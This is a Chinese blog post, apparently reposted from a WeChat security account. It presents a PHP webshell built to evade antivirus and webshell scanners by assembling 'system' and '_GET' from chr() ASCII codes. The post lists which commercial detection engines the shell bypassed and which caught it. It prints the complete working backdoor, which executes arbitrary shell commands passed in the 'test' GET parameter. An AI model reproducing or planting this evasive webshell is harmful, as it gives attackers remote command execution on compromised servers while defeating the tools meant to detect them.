0x00 前言
有点小激动,现在是1月2号快凌晨一点多,就在刚刚我写下了我人生当中第一个免杀webshell(不过我这里先提前声明一下,这种方式经过我本人测试是可以绕过大部分webshell检测引擎的,百分百免杀还是做不到),激动之余我写下这篇文章和大家分享下经验。
思路是我昨天回老家时在车上突发奇想出来的,当天晚上回到家后我就进行了实践,没想到效果极佳,不过可能早就有师傅写过相关文章介绍过这种方法,但我还是想和大家分享一下,具体看下文。
0x01 正文
先给大家看下效果:
微步:
火绒:
河马WebShell查杀:
魔盾云沙箱:
安恒云沙箱:
以下是绕过失败的,D盾:
长亭百川WebShell查杀引擎:
阿里伏魔引擎:
直接上代码:
应该有朋友已经看出来我这段代码的意图了,简单来说就是我将敏感函数/变量的名称上的每个字符都提前先转成了ascii码值,然后将这些ascii码值拿到我这段webshell里转成字符再进行拼接调用,这就是我这段webshell免杀具体实现方式。
接下来我详细讲一下每段代码都干了什么,第一个要讲的就是chr函数:
说的有点抽象,简单来说就是它可以将我们传进去的ascii码值转成相对应的字符,与它对应的函数是ord
函数:
它可以将我们传进去的字符转成相对应的ascii码值,例如:
$ch = 'a';
$value = ord($ch);
$str = chr($value);
echo'a的ascii码值:'.$value . PHP_EOL . "ascii码为$value 相对应的字符为:".$str;
接下来我重点讲一个php的知识点,那就是我们可以通过一个字符串去调用一个函数,例如:
functiona()
{
echo1;
}
$t = chr(97);
$t();
a
的ascii码值为97,chr(97)
返回的字符就是a,我将a字符放进了t变量里,然后再通过t变量去访问a函数,最后执行了a函数里的内容,这就是我这段免杀webshell的核心,如果php不支持这样做那么以上皆为空谈。我在webshell里是通过拼接成system进行调用的:
$a = $t . $e . $s . $tt . $ttt . $tttt;
$b = $d123 . $sfd . $sdf . $dfgb;
$a($$b[$a]);
$a
通过拼接后就是system字符串,最后我进行了调用。
还有一个知识点我需要提一下,上文中我提到过我执行的函数是system,可能已经有读者注意到我调用system函数时传的是这么一个东西:
$a($$b['test']);
其实这个b变量就是_GET
,代码中我也是通过ascii码值转字符然后进行字符串拼接得到的_GET
,随后b变量返回这个值后这段代码就变成了:
$a($_GET['test']);
这样写是因为某马webshell查杀会检测到$_GET
变量,所以我也对这个变量进行了同样的操作,也就是说我们可以通过这种方式去绕过杀软对$_GET
的检测。
这段代码差不多已经讲完了,但我最后还需要提一个注意事项,这种方式不能对eval函数使用,例如:
报错:致命错误:未捕获错误:调用D:test.php第13行中的未定义函数eval()
不知道为什么会提示这样的报错,无奈之下我去问了gpt也是一无所获,如果有知道的朋友可以在本文下方留言,本人洗耳恭听。
0x02 Code
下面我将代码分享出来供各位学习研究:
$sfd = chr(71);
$sdf = chr(69);
$dfgb = chr(84);
$d123 = chr(95);
$t = chr(115);
$e = chr(121);
$s = chr(115);
$tt = chr(116);
$ttt = chr(101);
$tttt = chr(109);
$a = $t . $e . $s . $tt . $ttt . $tttt;
$b = $d123 . $sfd . $sdf . $dfgb;
$a($$b['test']);
原文始发于微信公众号(Spade sec):PHP_webshell免杀01-变量绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论